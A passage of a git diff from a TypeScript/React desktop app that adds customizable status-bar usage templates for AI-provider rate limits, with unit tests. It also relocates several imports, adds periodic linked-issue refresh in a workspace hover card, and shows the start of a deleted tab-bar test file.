+  const usageFormat = useAppStore((state) => state.statusBarUsageFormat)
+  const template = resolveStatusBarUsageTemplate(usageFormat, provider)
   const statusLabel = p ? getProviderUsageStatusLabel(p, t) : ''
   // Why: not a problem; Claude updates its own login the next time it runs.
   const calm = p ? isClaudeUsageWaitingForClaude(p) : false
@@ -262,11 +289,13 @@ export function ProviderSegment({
   const groupedBuckets = sections.map((section) => section.window).filter(isGroupedUsagePool)
   const showLabels = mode === 'verbose' || !compact
   const now = useResetCountdownClock(
-    showLabels
-      ? groupedBuckets
-          .filter((bucket) => clampUsedPercent(bucket.usedPercent) >= USAGE_URGENT_PERCENT)
-          .map((bucket) => bucket.resetsAt)
-      : []
+    template && p
+      ? [p.session?.resetsAt, p.weekly?.resetsAt, p.fableWeekly?.resetsAt, p.monthly?.resetsAt]
+      : showLabels
+        ? groupedBuckets
+            .filter((bucket) => clampUsedPercent(bucket.usedPercent) >= USAGE_URGENT_PERCENT)
+            .map((bucket) => bucket.resetsAt)
+        : []
   )
 
   // Why static: unfocused windows never poll, so a pending chip's pulse would redraw the compositor indefinitely.
@@ -320,10 +349,12 @@ export function ProviderSegment({
   return (
     <span className="inline-flex items-center gap-1.5">
       <ProviderIcon provider={provider} />
-      {mode === 'verbose' && tightest && !compact ? (
+      {!template && mode === 'verbose' && tightest && !compact ? (
         <MiniBar usedPct={clampUsedPercent(tightest.window.usedPercent)} display={display} />
       ) : null}
-      {showGroupedPools ? (
+      {template ? (
+        <CustomUsageText template={template} limits={p} display={display} now={now} />
+      ) : showGroupedPools ? (
         <GroupedPoolUsage
           visibleBuckets={groupedBuckets}
           allBuckets={p.buckets ?? []}
@@ -344,7 +375,7 @@ export function ProviderSegment({
           </React.Fragment>
         ))
       )}
-      {showBalance && p.extraUsage ? (
+      {!template && showBalance && p.extraUsage ? (
         <>
           <span className="text-muted-foreground">·</span>
           <span className="tabular-nums">{formatCompactExtraUsage(p.extraUsage, t)}</span>
diff --git a/src/renderer/src/components/status-bar/StatusBarSurface.tsx b/src/renderer/src/components/status-bar/StatusBarSurface.tsx
index 536b2eed0f7..785b795ff0d 100644
--- a/src/renderer/src/components/status-bar/StatusBarSurface.tsx
+++ b/src/renderer/src/components/status-bar/StatusBarSurface.tsx
@@ -39,7 +39,7 @@ import {
 import { useStatusBarController } from './use-status-bar-controller'
 import { isOwnerNotSetUpPlaceholder } from './owner-usage-rate-limits'
 import { StatusBarVisibilityMenu } from './StatusBarVisibilityMenu'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 
 const PetStatusSegment = lazyWithRetry(() =>
   import('./PetStatusSegment').then((module) => ({ default: module.PetStatusSegment }))
diff --git a/src/renderer/src/components/status-bar/UsageRosterPanel.tsx b/src/renderer/src/components/status-bar/UsageRosterPanel.tsx
index bb161efe88d..8e64cc95d1e 100644
--- a/src/renderer/src/components/status-bar/UsageRosterPanel.tsx
+++ b/src/renderer/src/components/status-bar/UsageRosterPanel.tsx
@@ -7,7 +7,7 @@ import { useTranslate, type Translate } from '@/i18n/use-translate'
 import {
   formatRateLimitWindowChipLabel,
   formatWindowLabel
-} from '../../../../shared/rate-limit-window-label'
+} from './rate-limit-window-localized-label'
 import { CURSOR_MODELS_BUCKET_NAME } from '../../../../shared/cursor-usage-buckets'
 import type { ProviderRateLimits, RateLimitWindow } from '../../../../shared/rate-limit-types'
 import {
diff --git a/src/renderer/src/components/status-bar/ports-status-popover-rows.tsx b/src/renderer/src/components/status-bar/ports-status-popover-rows.tsx
index abb446ebd38..e647529f5be 100644
--- a/src/renderer/src/components/status-bar/ports-status-popover-rows.tsx
+++ b/src/renderer/src/components/status-bar/ports-status-popover-rows.tsx
@@ -6,13 +6,15 @@ import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip
 import { addressForPort } from '@/lib/workspace-ports/workspace-port-urls'
 import {
   canStopWorkspacePort,
-  getPortOpenBrowserTooltipLabel,
   goToWorkspacePortOwner,
   killWorkspacePortForTarget,
   openWorkspacePortInBrowser,
-  refreshWorkspacePortScanAfterStop,
-  resolvePortOpenInOrcaBrowser
+  refreshWorkspacePortScanAfterStop
 } from '@/lib/workspace-ports/workspace-port-actions'
+import {
+  getPortOpenBrowserTooltipLabel,
+  resolvePortOpenInOrcaBrowser
+} from '@/lib/workspace-ports/workspace-port-browser-open'
 import type { WorkspacePortGroup } from '@/lib/workspace-ports/workspace-port-groups'
 import { useLocalhostLabelRouteForPort } from '@/lib/workspace-ports/workspace-port-localhost-label-selector'
 import { useWorktreeRuntimeTarget } from '@/runtime/rpc/targets/use-worktree-runtime-target'
diff --git a/src/renderer/src/components/status-bar/rate-limit-window-localized-label.ts b/src/renderer/src/components/status-bar/rate-limit-window-localized-label.ts
new file mode 100644
index 00000000000..4ac299f670a
--- /dev/null
+++ b/src/renderer/src/components/status-bar/rate-limit-window-localized-label.ts
@@ -0,0 +1,28 @@
+import { translate } from '@/i18n/i18n'
+import { formatResetDuration } from '../../../../shared/rate-limit-reset-format'
+import { formatWindowLabel as formatSharedWindowLabel } from '../../../../shared/rate-limit-window-label'
+
+const WEEK_MINUTES = 60 * 24 * 7
+
+// Why: shared formatting stays English for mobile; only the week unit has desktop copy.
+export function formatWindowLabel(windowMinutes: number): string {
+  if (windowMinutes === WEEK_MINUTES) {
+    return translate('auto.components.status.bar.StatusBar.5c938d39ac', 'wk')
+  }
+  if (windowMinutes > WEEK_MINUTES && windowMinutes % WEEK_MINUTES === 0) {
+    return translate('auto.components.status.bar.StatusBar.windowWeeks', '{{value0}}wk', {
+      value0: windowMinutes / WEEK_MINUTES
+    })
+  }
+  return formatSharedWindowLabel(windowMinutes)
+}
+
+export function formatRateLimitWindowChipLabel(
+  window: { windowMinutes: number; resetsAt: number | null },
+  now: number = Date.now()
+): string {
+  if (window.resetsAt != null) {
+    return formatResetDuration(window.resetsAt - now)
+  }
+  return formatWindowLabel(window.windowMinutes)
+}
diff --git a/src/renderer/src/components/status-bar/remote-host-connection-status.ts b/src/renderer/src/components/status-bar/remote-host-connection-status.ts
index 7f704f56a81..b311957e90f 100644
--- a/src/renderer/src/components/status-bar/remote-host-connection-status.ts
+++ b/src/renderer/src/components/status-bar/remote-host-connection-status.ts
@@ -5,7 +5,7 @@ import type { RemoteRuntimeSharedConnectionDiagnostics } from '../../../../share
 import type { RuntimeHostBlockedReason } from '../../../../shared/remote-runtime/host-status/runtime-host-status'
 import type { RuntimePairingRepairRoute } from '../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat'
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import '@/runtime/hosts/connections/runtime-host-connection-state'
 import {
   runtimeStatusForOverall,
diff --git a/src/renderer/src/components/status-bar/usage-error-copy.ts b/src/renderer/src/components/status-bar/usage-error-copy.ts
index eab598f5478..31ddf5d971b 100644
--- a/src/renderer/src/components/status-bar/usage-error-copy.ts
+++ b/src/renderer/src/components/status-bar/usage-error-copy.ts
@@ -1,6 +1,7 @@
 import type { ProviderRateLimits } from '../../../../shared/rate-limit-types'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { formatRateLimitUserFacingError } from '@/lib/rate-limit-user-facing-error'
 import { getProviderDisplayName } from '../../../../shared/usage-provider-windows'
 import { describeOwnerNotSetUp, getOwnerNotSetUpLabel } from './owner-not-set-up-copy'
 
@@ -183,7 +184,7 @@ export function getProviderUsageErrorMessage(
           'Claude sign-in is being refreshed. Agent sessions may still be signed in.'
         )
       case 'missing-scope':
-        return p.error
+        return formatRateLimitUserFacingError(p.error) || p.error
       case 'network':
         return t(
           'auto.components.status.bar.tooltip.c06c1d215d',
@@ -215,7 +216,7 @@ export function getProviderUsageErrorMessage(
     }
   }
   if (isUsageRateLimitError(p)) {
-    return p.error
+    return formatRateLimitUserFacingError(p.error) || p.error
   }
   if (p.provider === 'minimax' && p.usageMetadata?.failureKind === 'stale-token') {
     return p.usageMetadata.credentialSource === 'api-key'
@@ -240,5 +241,5 @@ export function getProviderUsageErrorMessage(
       { value0: name }
     )
   }
-  return p.error
+  return formatRateLimitUserFacingError(p.error) || p.error
 }
diff --git a/src/renderer/src/components/status-bar/usage-format-template.test.ts b/src/renderer/src/components/status-bar/usage-format-template.test.ts
new file mode 100644
index 00000000000..1afad757143
--- /dev/null
+++ b/src/renderer/src/components/status-bar/usage-format-template.test.ts
@@ -0,0 +1,161 @@
+import { describe, expect, it } from 'vitest'
+import type { ProviderRateLimits, RateLimitWindow } from '../../../../shared/rate-limit-types'
+import { buildUsageFormatValues, renderUsageFormatTemplate } from './usage-format-template'
+
+const NOW = Date.UTC(2026, 7, 27, 12, 0, 0)
+
+/** Rate-limit window fixture. */
+function win(
+  usedPercent: number,
+  windowMinutes: number,
+  resetInMs: number | null
+): RateLimitWindow {
+  return {
+    usedPercent,
+    windowMinutes,
+    resetsAt: resetInMs === null ? null : NOW + resetInMs,
+    resetDescription: null
+  }
+}
+
+/** Provider limits fixture with overridable fields. */
+function provider(overrides: Partial<ProviderRateLimits>): ProviderRateLimits {
+  return {
+    provider: 'claude',
+    session: null,
+    weekly: null,
+    updatedAt: NOW,
+    error: null,
+    status: 'ok',
+    ...overrides
+  }
+}
+
+describe('renderUsageFormatTemplate', () => {
+  it('substitutes known placeholders and leaves unknown ones verbatim', () => {
+    expect(
+      renderUsageFormatTemplate('{provider}: {5h} {nope}', { provider: 'Claude', '5h': '14%' })
+    ).toBe('Claude: 14% {nope}')
+  })
+
+  it('drops an optional group when any placeholder inside is empty', () => {
+    const values = { provider: 'Grok', '5h': '', '7d': '19%' }
+    expect(renderUsageFormatTemplate('{provider}[ | 5h: {5h}][ | 7d: {7d}]', values)).toBe(
+      'Grok | 7d: 19%'
+    )
+  })
+
+  it('keeps an optional group whose placeholders all resolve', () => {
+    expect(
+      renderUsageFormatTemplate('[{5h} ({5h.reset})]', { '5h': '14%', '5h.reset': '3h 15m' })
+    ).toBe('14% (3h 15m)')
+  })
+
+  it('keeps bracket text that contains no placeholders as literal', () => {
+    expect(renderUsageFormatTemplate('[x] {5h}', { '5h': '14%' })).toBe('[x] 14%')
+  })
+
+  it("preserves the author's spacing and removes only the dropped group text", () => {
+    expect(
+      renderUsageFormatTemplate('{provider}   [{5h}] [{7d}] end  ', {
+        provider: 'A',
+        '5h': '',
+        '7d': ''
+      })
+    ).toBe('A     end  ')
+  })
+})
+
+describe('buildUsageFormatValues', () => {
+  it('exposes provider, window percentages, reset countdowns and clock times', () => {
+    const values = buildUsageFormatValues(
+      provider({
+        session: win(14, 300, 3 * 60 * 60 * 1000 + 15 * 60 * 1000),
+        weekly: win(20, 10080, (2 * 24 + 15) * 60 * 60 * 1000),
+        fableWeekly: win(37, 10080, 24 * 60 * 60 * 1000)
+      }),
+      { display: 'used', now: NOW, timeZone: 'UTC' }
+    )
+
+    expect(values).toMatchObject({
+      provider: 'Claude',
+      plan: '',
+      '5h': '14%',
+      '5h.reset': '3h 15m',
+      '5h.resetAt': '15:15',
+      '7d': '20%',
+      '7d.reset': '2d 15h',
+      fable: '37%',
+      'fable.reset': '1d',
+      '30d': '',
+      '30d.reset': '',
+      '30d.resetAt': '',
+      buckets: ''
+    })
+  })
+
+  it('omits duration placeholders and reset fields for nonmatching windows', () => {
+    const values = buildUsageFormatValues(
+      provider({
+        provider: 'kimi',
+        session: win(14, 60, 3600000),
+        weekly: win(20, 1440, 3600000),
+        monthly: win(4, 10080, 3600000)
+      }),
+      { display: 'used', now: NOW, timeZone: 'UTC' }
+    )
+    expect(
+      renderUsageFormatTemplate(
+        '{provider}[ {5h} {5h.reset} {5h.resetAt}][ {7d} {7d.reset} {7d.resetAt}][ {30d} {30d.reset} {30d.resetAt}]',
+        values
+      )
+    ).toBe('Kimi')
+    expect(values).toMatchObject({
+      '5h': '',
+      '5h.reset': '',
+      '5h.resetAt': '',
+      '7d': '',
+      '7d.reset': '',
+      '7d.resetAt': '',
+      '30d': '',
+      '30d.reset': '',
+      '30d.resetAt': ''
+    })
+  })
+
+  it('shows remaining percentages when the display setting says so', () => {
+    const values = buildUsageFormatValues(provider({ session: win(14, 300, null) }), {
+      display: 'remaining',
+      now: NOW,
+      timeZone: 'UTC'
+    })
+    expect(values['5h']).toBe('86%')
+    expect(values['5h.reset']).toBe('')
+    expect(values['5h.resetAt']).toBe('')
+  })
+
+  it('exposes the Codex plan and the monthly window', () => {
+    const values = buildUsageFormatValues(
+      provider({ provider: 'codex', planType: 'plus', monthly: win(4, 43200, null) }),
+      { display: 'used', now: NOW, timeZone: 'UTC' }
+    )
+    expect(values.provider).toBe('Codex')
+    expect(values.plan).toBe('Plus')
+    expect(values['30d']).toBe('4%')
+  })
+
+  it('joins Gemini buckets in the status bar order', () => {
+    const values = buildUsageFormatValues(
+      provider({
+        provider: 'gemini',
+        buckets: [
+          { ...win(40, 300, null), name: 'Pro' },
+          { ...win(12, 300, null), name: 'Flash' },
+          { ...win(1, 300, null), name: 'Other' }
+        ]
+      }),
+      { display: 'used', now: NOW, timeZone: 'UTC' }
+    )
+    expect(values.buckets).toBe('Flash 12% · Pro 40%')
+  })
+})
diff --git a/src/renderer/src/components/status-bar/usage-format-template.ts b/src/renderer/src/components/status-bar/usage-format-template.ts
new file mode 100644
index 00000000000..66cc5861213
--- /dev/null
+++ b/src/renderer/src/components/status-bar/usage-format-template.ts
@@ -0,0 +1,98 @@
+import type { ProviderRateLimits, RateLimitWindow } from '../../../../shared/rate-limit-types'
+import { formatResetDuration } from '../../../../shared/rate-limit-reset-format'
+import {
+  getDisplayedUsagePercentage,
+  type UsagePercentageDisplay
+} from '../../../../shared/usage-percentage-display'
+import { getProviderDisplayName } from '../../../../shared/usage-provider-windows'
+import { formatPlanLabel } from './usage-roster-formatting'
+
+export type UsageFormatValues = Record<string, string>
+
+const PLACEHOLDER_RE = /\{([a-zA-Z0-9_.]+)\}/g
+// Why: one level of brackets only — nested optional groups aren't worth the parsing cost for a footer string.
+const OPTIONAL_GROUP_RE = /\[([^[\]]*)\]/g
+
+/** Replaces known `{key}` placeholders; unknown ones are left verbatim. */
+function substitute(text: string, values: UsageFormatValues): string {
+  return text.replace(PLACEHOLDER_RE, (match, key: string) =>
+    Object.hasOwn(values, key) ? values[key] : match
+  )
+}
+
+/** Renders `{key}` placeholders; `[...]` groups vanish when any known placeholder inside is empty.
+ *  Whitespace is the author's: nothing is collapsed or trimmed, so render it with `whitespace-pre`. */
+export function renderUsageFormatTemplate(template: string, values: UsageFormatValues): string {
+  const withGroups = template.replace(OPTIONAL_GROUP_RE, (match, inner: string) => {
+    const keys = [...inner.matchAll(PLACEHOLDER_RE)].map((m) => m[1])
+    if (keys.length === 0) {
+      return match
+    }
+    const missing = keys.some((key) => Object.hasOwn(values, key) && values[key] === '')
+    return missing ? '' : substitute(inner, values)
+  })
+  return substitute(withGroups, values)
+}
+
+export type UsageFormatValueOptions = {
+  display: UsagePercentageDisplay
+  now: number
+  /** Test hook; production uses the viewer's zone. */
+  timeZone?: string
+  locale?: string
+}
+
+const WINDOW_KEYS: readonly [
+  key: string,
+  minutes: number | null,
+  pick: (p: ProviderRateLimits) => RateLimitWindow | null | undefined
+][] = [
+  ['5h', 300, (p) => p.session],
+  ['7d', 10080, (p) => p.weekly],
+  ['fable', null, (p) => p.fableWeekly],
+  ['30d', 43200, (p) => p.monthly]
+]
+
+// Same subset and order the built-in Gemini rendering shows.
+const BUCKET_ORDER = ['Flash', 'Pro', '1.5 Pro']
+
+/** Window percentage in the user's Used/Remaining preference. */
+function percent(window: RateLimitWindow, display: UsagePercentageDisplay): string {
+  return `${getDisplayedUsagePercentage(window.usedPercent, display)}%`
+}
+
+/** Reset time as a 24h clock string in the viewer's zone. */
+function resetClock(resetsAt: number, options: UsageFormatValueOptions): string {
+  return new Intl.DateTimeFormat(options.locale, {
+    hour: '2-digit',
+    minute: '2-digit',
+    hourCycle: 'h23',
+    timeZone: options.timeZone
+  }).format(resetsAt)
+}
+
+/** Every placeholder the footer template can reference, empty string when the provider lacks it. */
+export function buildUsageFormatValues(
+  p: ProviderRateLimits,
+  options: UsageFormatValueOptions
+): UsageFormatValues {
+  const values: UsageFormatValues = {
+    provider: getProviderDisplayName(p.provider),
+    plan: formatPlanLabel(p.planType) ?? ''
+  }
+  for (const [key, minutes, pick] of WINDOW_KEYS) {
+    const candidate = pick(p)
+    const window = minutes === null || candidate?.windowMinutes === minutes ? candidate : null
+    values[key] = window ? percent(window, options.display) : ''
+    values[`${key}.reset`] =
+      window?.resetsAt != null ? formatResetDuration(window.resetsAt - options.now) : ''
+    values[`${key}.resetAt`] = window?.resetsAt != null ? resetClock(window.resetsAt, options) : ''
+  }
+  const buckets = (p.buckets ?? [])
+    .filter((bucket) => BUCKET_ORDER.includes(bucket.name))
+    .sort((a, b) => BUCKET_ORDER.indexOf(a.name) - BUCKET_ORDER.indexOf(b.name))
+  values.buckets = buckets
+    .map((bucket) => `${bucket.name} ${percent(bucket, options.display)}`)
+    .join(' · ')
+  return values
+}
diff --git a/src/renderer/src/components/status-bar/usage-pool-label.ts b/src/renderer/src/components/status-bar/usage-pool-label.ts
index babd227da2e..7ee35ad6b5f 100644
--- a/src/renderer/src/components/status-bar/usage-pool-label.ts
+++ b/src/renderer/src/components/status-bar/usage-pool-label.ts
@@ -3,7 +3,7 @@ import type { Translate } from '@/i18n/use-translate'
 import {
   formatRateLimitWindowChipLabel,
   formatWindowLabel
-} from '../../../../shared/rate-limit-window-label'
+} from './rate-limit-window-localized-label'
 import type {
   ProviderRateLimits,
   RateLimitBucket,
diff --git a/src/renderer/src/components/status-bar/workspace-space-decision-details.ts b/src/renderer/src/components/status-bar/workspace-space-decision-details.ts
index aa44b91f341..f135c259d55 100644
--- a/src/renderer/src/components/status-bar/workspace-space-decision-details.ts
+++ b/src/renderer/src/components/status-bar/workspace-space-decision-details.ts
@@ -33,6 +33,8 @@ export type WorkspaceDecisionDetails = {
   branchStatus: string | null
   reviewLabel: string | null
   issueLabel: string | null
+  /** Cache key of the shown linked issue; changes when the link or its owning host changes. */
+  issueCacheKey: string | null
   linearIssueLabel: string | null
 }
 
@@ -169,20 +171,19 @@ export function getWorkspaceDecisionDetails(
         ? `PR #${linkedPR}`
         : null
   const linkedIssue = workspaceRecord?.linkedIssue ?? null
-  const issue =
+  const issueCacheKey =
     linkedIssue && repo
-      ? inputs.issueCache[
-          getIssueCacheKey(
-            repo.path,
-            repo.id,
-            linkedIssue,
-            inputs.settings,
-            repo.connectionId,
-            ownerExecutionHostId,
-            true
-          )
-        ]?.data
+      ? getIssueCacheKey(
+          repo.path,
+          repo.id,
+          linkedIssue,
+          inputs.settings,
+          repo.connectionId,
+          ownerExecutionHostId,
+          true
+        )
       : null
+  const issue = issueCacheKey ? inputs.issueCache[issueCacheKey]?.data : null
   const issueLabel = linkedIssue
     ? issue
       ? `#${issue.number} ${issue.state}: ${issue.title}`
@@ -228,6 +229,7 @@ export function getWorkspaceDecisionDetails(
     branchStatus: getBranchStatus(inputs.remoteStatusesByWorktree[worktree.worktreeId], t),
     reviewLabel,
     issueLabel,
+    issueCacheKey,
     linearIssueLabel
   }
 }
diff --git a/src/renderer/src/components/status-bar/workspace-space-decision-hover-card.tsx b/src/renderer/src/components/status-bar/workspace-space-decision-hover-card.tsx
index a7db8f3d867..63ba315e0a1 100644
--- a/src/renderer/src/components/status-bar/workspace-space-decision-hover-card.tsx
+++ b/src/renderer/src/components/status-bar/workspace-space-decision-hover-card.tsx
@@ -16,6 +16,7 @@ import { useTranslate } from '@/i18n/use-translate'
 import type { WorkspaceDecisionDetails } from './workspace-space-decision-details'
 import type { WorkspaceGitRefreshState } from './workspace-space-manager-state-types'
 import { WorkspaceSpaceStatusBadge } from './workspace-space-status-badge'
+import { WorkspaceSpaceIssueFreshness } from './workspace-space-issue-freshness'
 import {
   getAgentDecisionLabel,
   getDeleteDecisionLabel,
@@ -81,6 +82,11 @@ export function WorkspaceDecisionHoverCard({
       collisionPadding={12}
       className="max-h-[min(34rem,calc(100vh-1.5rem))] w-[min(24rem,calc(100vw-1.5rem))] overflow-y-auto p-0 scrollbar-sleek"
     >
+      <WorkspaceSpaceIssueFreshness
+        worktreeId={worktree.worktreeId}
+        executionHostId={worktree.executionHostId}
+        issueCacheKey={details.issueCacheKey}
+      />
       <div className="border-b border-border/60 px-4 py-3">
         <div className="flex min-w-0 items-start justify-between gap-3">
           <div className="min-w-0">
diff --git a/src/renderer/src/components/status-bar/workspace-space-issue-freshness.tsx b/src/renderer/src/components/status-bar/workspace-space-issue-freshness.tsx
new file mode 100644
index 00000000000..97d0ece42b6
--- /dev/null
+++ b/src/renderer/src/components/status-bar/workspace-space-issue-freshness.tsx
@@ -0,0 +1,48 @@
+import { useEffect } from 'react'
+import type { ExecutionHostId } from '../../../../shared/execution-host'
+import { useAppStore } from '@/store'
+import { installWindowVisibilityInterval } from '@/lib/window-activity/window-visibility-interval'
+import { findWorktreeReviewOwner } from '@/store/github/refresh/worktree-refresh'
+
+/** Re-reads the worktree's current linked issue in this window's store; fresh-gated by fetchIssue. */
+export function refreshLinkedIssueForWorktree(
+  worktreeId: string,
+  executionHostId?: ExecutionHostId
+): void {
+  const state = useAppStore.getState()
+  const owner = findWorktreeReviewOwner(state, worktreeId, executionHostId)
+  const issueNumber = owner?.worktree.linkedIssue
+  if (owner && issueNumber) {
+    void state.fetchIssue(owner.repo.path, issueNumber, { repoId: owner.repo.id })
+  }
+}
+
+/** Mounted only inside an open decision hover: that hover owns its linked issue's freshness. */
+export function WorkspaceSpaceIssueFreshness({
+  worktreeId,
+  executionHostId,
+  issueCacheKey
+}: {
+  worktreeId: string
+  executionHostId?: ExecutionHostId
+  // Why a prop: the row projection already resolves it per snapshot; re-resolving here would rescan the catalog.
+  issueCacheKey: string | null
+}): null {
+  useEffect(() => {
+    if (!issueCacheKey) {
+      return
+    }
+    // Why: the separate Space window shows the main window's published issueCache, so the main window does the read.
+    const isSpaceWindow = window.location.pathname.endsWith('/space.html')
+    return installWindowVisibilityInterval({
+      run: () =>
+        isSpaceWindow
+          ? void window.api.workspaceSpace
+              .requestIssueRefresh?.(worktreeId, executionHostId)
+              .catch(() => {})
+          : refreshLinkedIssueForWorktree(worktreeId, executionHostId),
+      intervalMs: 5 * 60_000
+    })
+  }, [issueCacheKey, worktreeId, executionHostId])
+  return null
+}
diff --git a/src/renderer/src/components/status-bar/workspace-space-metrics.tsx b/src/renderer/src/components/status-bar/workspace-space-metrics.tsx
index bd15123d93a..c4da24bfda0 100644
--- a/src/renderer/src/components/status-bar/workspace-space-metrics.tsx
+++ b/src/renderer/src/components/status-bar/workspace-space-metrics.tsx
@@ -5,7 +5,7 @@ import {
   getWorkspaceSpaceScanDateTimeLabel,
   getWorkspaceSpaceScanTimeLabel
 } from './workspace-space-format'
-import { formatShortTimeAgo } from '@/lib/short-time-ago'
+import { formatShortTimeAgo } from '@/lib/time-format/short-time-ago'
 
 export function Metric({
   label,
diff --git a/src/renderer/src/components/status-bar/workspace-space-worktree-row.tsx b/src/renderer/src/components/status-bar/workspace-space-worktree-row.tsx
index f81a11ebf9e..be83881936c 100644
--- a/src/renderer/src/components/status-bar/workspace-space-worktree-row.tsx
+++ b/src/renderer/src/components/status-bar/workspace-space-worktree-row.tsx
@@ -27,7 +27,7 @@ import { CheckButton } from './workspace-space-selection-controls'
 import { WorkspaceDecisionHoverCard } from './workspace-space-decision-hover-card'
 import { WorkspaceSpaceStatusBadge } from './workspace-space-status-badge'
 import { describeWorktreeDeleteError } from '../sidebar/workspace-actions/deletion/worktree-delete-error-display'
-import { formatShortTimeAgo } from '@/lib/short-time-ago'
+import { formatShortTimeAgo } from '@/lib/time-format/short-time-ago'
 import { WorkspaceSpaceChanges } from './workspace-space-changes'
 import { WORKSPACE_SPACE_TABLE_GRID_CLASS } from './workspace-space-table-layout'
 import {
diff --git a/src/renderer/src/components/tab-bar/ClientHostedBrowserTabRows.tsx b/src/renderer/src/components/tab-bar/ClientHostedBrowserTabRows.tsx
index 74cdf7bd6e7..1a6abf80ff9 100644
--- a/src/renderer/src/components/tab-bar/ClientHostedBrowserTabRows.tsx
+++ b/src/renderer/src/components/tab-bar/ClientHostedBrowserTabRows.tsx
@@ -6,7 +6,7 @@ import type { ClientHostedBrowserRow } from '../../../../shared/client-hosted-br
 import {
   selectClientHostedBrowserRow,
   useActiveClientHostedBrowserRowId
-} from '@/lib/pane-manager/client-hosted-browser-row-state'
+} from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { closeClientHostedBrowserRow } from '../../runtime/browser/closing/client-hosted-browser-row-close'
 import ClientHostedBrowserTab from './ClientHostedBrowserTab'
 
diff --git a/src/renderer/src/components/tab-bar/EditorFileTab.tsx b/src/renderer/src/components/tab-bar/EditorFileTab.tsx
index a216bf4d1cc..dd7479ee214 100644
--- a/src/renderer/src/components/tab-bar/EditorFileTab.tsx
+++ b/src/renderer/src/components/tab-bar/EditorFileTab.tsx
@@ -1,5 +1,4 @@
 import { editorTabWorkspace } from '@/store/slices/editor/tabs/workspace-editor-files'
-import type { EditorFileTabProps } from './editor-file-tab-props'
 import { ContextMenu, ContextMenuTrigger } from '@/components/ui/context-menu'
 import { useCallback, useEffect, useRef, useState } from 'react'
 import { useSortable } from '@dnd-kit/sortable'
@@ -14,15 +13,13 @@ import { detectLanguage } from '../../../../shared/editor-language/editor-langua
 import { FileTypeIcon } from '@/components/FileTypeIcon'
 import { useWorktreeById } from '@/store/workspaces/selection/use-selected-worktree'
 import { getOpenFileExecutionHostId } from '@/lib/workspace/ownership/unified-tab-host-ownership'
-import { resolveReviewRepository } from '@/lib/review-owner'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import { useAppStore } from '@/store/index'
 import { STATUS_COLORS } from '../../lib/source-control/paths/git-path-decoration'
 import { STATUS_LABELS } from '../../../../shared/git/status/git-status-labels'
-
 import { getUntitledFileRoot } from '@/components/editor/untitled-file-rename-path'
 import { preventMiddleButtonDefault } from './middle-button-default-guard'
 import { CLOSE_ALL_CONTEXT_MENUS_EVENT } from '@/lib/overlay-interaction/close-all-context-menus'
-
 import {
   ACTIVE_TAB_INDICATOR_CLASSES,
   getDropIndicatorClasses,
@@ -41,6 +38,7 @@ import { useTabContextMenuOpening } from './tab-context-menu-opening'
 import { editorTabDocumentFolderAccess } from '@/lib/files/access/local-file-access'
 import { useTabCustomEditor } from '@/store/plugins/file-editors/plugin-custom-editors'
 import { PluginContributionIcon } from '../plugins/PluginContributionIcon'
+import type { EditorFileTabProps } from './editor-file-tab-props'
 
 export default function EditorFileTab({
   file,
diff --git a/src/renderer/src/components/tab-bar/TabBar.tsx b/src/renderer/src/components/tab-bar/TabBar.tsx
index 292f2f4b697..d84ef3c4952 100644
--- a/src/renderer/src/components/tab-bar/TabBar.tsx
+++ b/src/renderer/src/components/tab-bar/TabBar.tsx
@@ -9,7 +9,7 @@ import { usePluginNewFileMenuOptions } from './use-plugin-new-file-menu-options'
 import { useTabBarItemProjection } from './use-tab-bar-item-projection'
 import { renderTabBarSurface } from './tab-bar-surface'
 import { useTabBarItemActions } from './use-tab-bar-item-actions'
-import { useActiveClientHostedBrowserRowId } from '@/lib/pane-manager/client-hosted-browser-row-state'
+import { useActiveClientHostedBrowserRowId } from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { useEditorGroupFileDropOwner } from '../editor/use-editor-group-file-drop-owner'
 import { useTranslate } from '@/i18n/use-translate'
 
diff --git a/src/renderer/src/components/tab-bar/TabBarItemRow.test.tsx b/src/renderer/src/components/tab-bar/TabBarItemRow.test.tsx
deleted file mode 100644
index 2be37adac80..00000000000
--- a/src/renderer/src/components/tab-bar/TabBarItemRow.test.tsx
+++ /dev/null
@@ -1,271 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, startTransition, Suspense, use } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { clearClientHostedBrowserRowSelection } from '@/lib/pane-manager/client-hosted-browser-row-state'
-
-import type { TabBarItem } from './tab-bar-item-model'
-import type { WorkspaceVisibleTabType } from '../../../../shared/tab-types'
-import type { AgentType } from '../../../../shared/agent-status/contracts/agent-status-types'
-import {
-  renderTabBarItems,
-  type TabBarItemSurfaceProps,
-  type TabBarItemSurfaceRuntime
-} from './tab-bar-item-surface'
-import { useTabBarItemActions } from './use-tab-bar-item-actions'
-
-globalThis.IS_REACT_ACT_ENVIRONMENT = true
-
-type TabProps = {
-  tab?: { id: string; title: string }
-  agent?: string | null
-  nativeChat?: { sessionId: string; agent: string | undefined }
-  isActive: boolean
-  isPinned: boolean
-  onActivate: (id: string) => void
-  onDuplicate?: () => void
-  gitStatus?: string | null
-}
-
-const tabRenders: { id: string; props: TabProps }[] = []
-
-vi.mock('./SortableTab', () => ({
-  default: (props: TabProps) => {
-    tabRenders.push({ id: props.tab!.id, props })
-    return null
-  }
-}))
-vi.mock('./BrowserTab', () => ({
-  default: (props: TabProps) => {
-    tabRenders.push({ id: props.tab!.id, props })
-    return null
-  },
-  getBrowserTabLabel: () => ''
-}))
-vi.mock('./EditorFileTab', () => ({
-  default: (props: TabProps & { file: { id: string } }) => {
-    tabRenders.push({ id: props.file.id, props })
-    return null
-  }
-}))
-
-/** Rebuilt on every call, like the strip's projections: equal content, never the same objects. */
-function buildItems({
-  terminalPinned = false,
-  browserTitle = 'Example',
-  sessionLabel = 'Session',
-  sessionAgent
-}: {
-  terminalPinned?: boolean
